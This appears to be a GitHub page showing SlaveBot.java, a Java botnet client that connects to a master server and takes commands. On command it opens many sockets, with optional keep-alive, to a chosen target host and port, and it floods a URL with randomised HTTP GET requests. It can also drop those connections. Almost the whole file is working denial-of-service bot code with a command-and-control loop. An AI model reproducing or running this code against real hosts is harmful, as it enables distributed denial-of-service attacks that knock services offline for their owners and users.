-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathSlaveBot.java
More file actions
311 lines (222 loc) · 8.5 KB
/
SlaveBot.java
File metadata and controls
311 lines (222 loc) · 8.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
import java.io.*;
import java.util.ArrayList;
import java.util.Random;
import java.util.StringTokenizer;
import java.net.*;
public class SlaveBot {
/*
public class HandleConnect implements Runnable {
int Number_connection;
String Thost;
int Tport;
ArrayList<Socket> arr_clientsocket = new ArrayList<Socket>();
public void run(){
for (int i=0; i<Integer.valueOf(Number_connection); i++)
{
Socket attack = new Socket();
try {
attack.setKeepAlive(true);
} catch (SocketException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
try {
attack.connect(new InetSocketAddress(Thost, Integer.valueOf(Tport)));
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
arr_clientsocket.add(attack);
System.out.println("connect with keep alive option on ");
try {
System.out.println(attack.getKeepAlive());
} catch (SocketException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}
*/
// random string generator.......
public static String getRandomString(int length) {
final String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+";
StringBuilder result = new StringBuilder();
while(length > 0) {
Random rand = new Random();
result.append(characters.charAt(rand.nextInt(characters.length())));
length--;
System.out.println(result);
}
return result.toString();
}
public static void main(String[] args) throws Exception {
Socket cs = new Socket(args[0], Integer.valueOf(args[1]));
String str = cs.getRemoteSocketAddress().toString();
OutputStreamWriter send = new OutputStreamWriter(cs.getOutputStream());
PrintWriter writeto = new PrintWriter(send);
send.write(str);
//System.out.println("Message Sent to IP-port:" + str);
ArrayList<Socket> arr_clientsocket = new ArrayList<Socket>();
/*
* String INET_ADDR = "127.0.0.1"; int PORT = Integer.valueOf(args[1]);
* InetAddress address = InetAddress.getByName(INET_ADDR); byte[] buf =
* new byte[256];
*/
// Socket attack = null;
while (true) {
InputStream read_in = cs.getInputStream();
InputStreamReader read = new InputStreamReader(read_in);
BufferedReader buff_read = new BufferedReader(read);
//System.out.println("Listening for connect from server.....");
String command_in = buff_read.readLine();
send.flush();
System.out.println("message from server " + command_in);
String avinash = command_in;
String[] parts = avinash.split(" ");
//String Talive = parts[5];
// String Talive = "";
int Number_connection;
if (parts.length < 5) {
Number_connection = 1;
}
//
else {
Number_connection = Integer.valueOf(parts[4]);
}
String Thost = parts[2];
String Tport = "";
String Talive = "";
// String Tport = st.nextToken();
// int Integer.valueOf(i);
// attack = new Socket();
// if the command contains disconnect and the second function all is mising then go inside.
if (command_in.contains("disconnect")&&(!parts[1].toLowerCase().equals("all"))) {
// StringTokenizer st = new StringTokenizer(command_in,":");
Tport = parts[3];
for (int i = 0; i < arr_clientsocket.size(); i++) {
Socket var = arr_clientsocket.get(i);
if(var!=null){
String hostname = var.getInetAddress().getHostName();
int PORTNUMBER= var.getPort();
System.out.println("HOSTNAME:"+hostname);
System.out.println("PORTNUMBER:"+PORTNUMBER);
// if the Thost has got the host name and the port is also sent in the command then enter this condition.
if(Thost.toLowerCase().equals(hostname.toLowerCase())&&(Tport.equals(String.valueOf(PORTNUMBER))))
{
var.close();
var = null;
arr_clientsocket.set(i, var);
// String attack_to = "WWW.google.com";
// attack.disconnect(new
// InetSocketAddress(st.nextToken(),Integer.valueOf(st.nextToken())));
//System.out.println("disconnected from "+ Thost + "at port "+Tport);
}
}
}
}
// Now if the command sent by the master contains disconnect and the second charecter after space is all then enter this condition.
else if(command_in.contains("disconnect")&&(parts[1].toLowerCase().equals("all"))){
if (parts.length>3){
Tport = parts[3];
}
for (int i = 0; i < arr_clientsocket.size(); i++) {
Socket var = arr_clientsocket.get(i);
if(var!=null){
String hostname = var.getInetAddress().getHostName();
int PORTNUMBER= var.getPort();
//System.out.println("HOSTNAME:"+hostname);
//System.out.println("PORTNUMBER:"+PORTNUMBER);
// now if the port number is not given but host is given or another condition as both host nad the port number is present then enter this condition
if((Tport.isEmpty()&& Thost.toLowerCase().equals(hostname.toLowerCase()))|| Thost.toLowerCase().equals(hostname.toLowerCase())&&(Tport.equals(String.valueOf(PORTNUMBER))) )
{
var.close();
var = null;
arr_clientsocket.set(i, var);
// String attack_to = "WWW.google.com";
// attack.disconnect(new
// InetSocketAddress(st.nextToken(),Integer.valueOf(st.nextToken())));
//System.out.println("disconnected from "+ Thost + "at port "+Tport);
}
}
}
}
else if (command_in.contains("connect")) {
// StringTokenizer st = new StringTokenizer("command_in");
// String avinash = command_in;
// String[] parts = avinash.split(" ");
// String Thost = parts[2];
// String Tport = parts[3];
// String Number_connection = parts[4];
// System.out.println(Tport);
// String Tport = st.nextToken();
// int Integer.valueOf(i);
// attack = new Socket();
Tport = parts[3];
if (parts.length>5)
{
Talive = parts[5];
System.out.println(Talive);
}
// enters this condition if talive == KEEP ALIVE
if (Talive.equals("KeepAlive"))
{
for (int i=0; i<Integer.valueOf(Number_connection); i++)
{
Socket attack = new Socket();
attack.setKeepAlive(true);
attack.connect(new InetSocketAddress(Thost, Integer.valueOf(Tport)));
arr_clientsocket.add(attack);
//System.out.println("connect with keep alive option on ");
System.out.println(attack.getKeepAlive());
System.out.println("connected to "+ Thost + "at port "+Tport);
}
}
else if(Talive.contains("http"))
{
String URL_string= Talive;
for (int i=0; i<Integer.valueOf(Number_connection); i++)
{
Socket attack = new Socket();
attack.connect(new InetSocketAddress(Thost, Integer.valueOf(Tport)));
arr_clientsocket.add(attack);
System.out.println("connected to "+ Thost + " at port "+Tport);
SlaveBot rand = new SlaveBot();
Random ra=new Random();
int randomNum =ra.nextInt((10 - 9) + 1) + 1;
//SOP
String RandVar= rand.getRandomString(randomNum);
String NewURL_string = URL_string+RandVar;
System.out.println(NewURL_string);
URL path = new URL(NewURL_string);
HttpURLConnection request = (HttpURLConnection)path.openConnection();
request.setRequestMethod("GET");
// getting the response from the target and deleting it
int Target_response = request.getResponseCode();
System.out.println("Target Response : "+ Target_response);
// read the response from the target server
BufferedReader in = new BufferedReader(
new InputStreamReader(request.getInputStream()));
String output;
StringBuffer response = new StringBuffer();
while ((output = in.readLine()) != null) {
response.append(output);
}
in.close();
//printing result from response
System.out.println(response.toString());
}
}
else for (int i = 0; i < Integer.valueOf(Number_connection); i++) {
Socket attack = new Socket();
//attack.setKeepAlive(true);
attack.connect(new InetSocketAddress(Thost, Integer.valueOf(Tport)));
arr_clientsocket.add(attack);
// System.out.println("THOST"+ Thost);
System.out.println("connected to " + Thost + " on port " + Tport);
// }
}
}
}
}
}